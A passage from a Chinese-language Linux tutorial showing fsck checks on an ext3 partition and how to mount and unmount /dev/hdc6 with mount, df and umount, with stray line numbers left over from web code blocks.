[root@www ~]# fsck -C -f -t ext3 /dev/hdc6 
fsck 1.39 (29-May-2006)
e2fsck 1.39 (29-May-2006)
Pass 1: Checking inodes, blocks, and sizes
Pass 2: Checking directory structure
Pass 3: Checking directory connectivity
Pass 4: Checking reference counts
Pass 5: Checking group summary information
vbird_logical: 11/251968 files (9.1% non-contiguous), 36926/1004046 blocks
123456789

如果没有加上 -f 的选项,则由于这个文件系统不曾出现问题,检查的经过非常快速!若加上 -f 强制检查,才会一项一项的显示过程。

磁盘挂载与卸除

Linux 的磁盘挂载使用 mount 命令,卸载使用 umount 命令。

磁盘挂载语法:

1
2
mount [-t 文件系统] [-L Label名] [-o 额外选项] [-n]  装置文件名  挂载点
1

用默认的方式,将刚刚创建的 /dev/hdc6 挂载到 /mnt/hdc6 上面!

1
2
3
4
5
6
7
[root@www ~]# mkdir /mnt/hdc6
[root@www ~]# mount /dev/hdc6 /mnt/hdc6
[root@www ~]# df
Filesystem 1K-blocks Used Available Use% Mounted on
.....中间省略.....
/dev/hdc6 1976312 42072 1833836 3% /mnt/hdc6
123456

磁盘卸载命令 umount 语法:

1
2
umount [-fn] 装置文件名或挂载点
1

选项与参数:

  • -f :强制卸除!可用在类似网络文件系统 (NFS) 无法读取到的情况下;

  • -n :不升级 /etc/mtab 情况下卸除。

卸载/dev/hdc6

1
2
[root@www ~]# umount /dev/hdc6     
1

本文参考: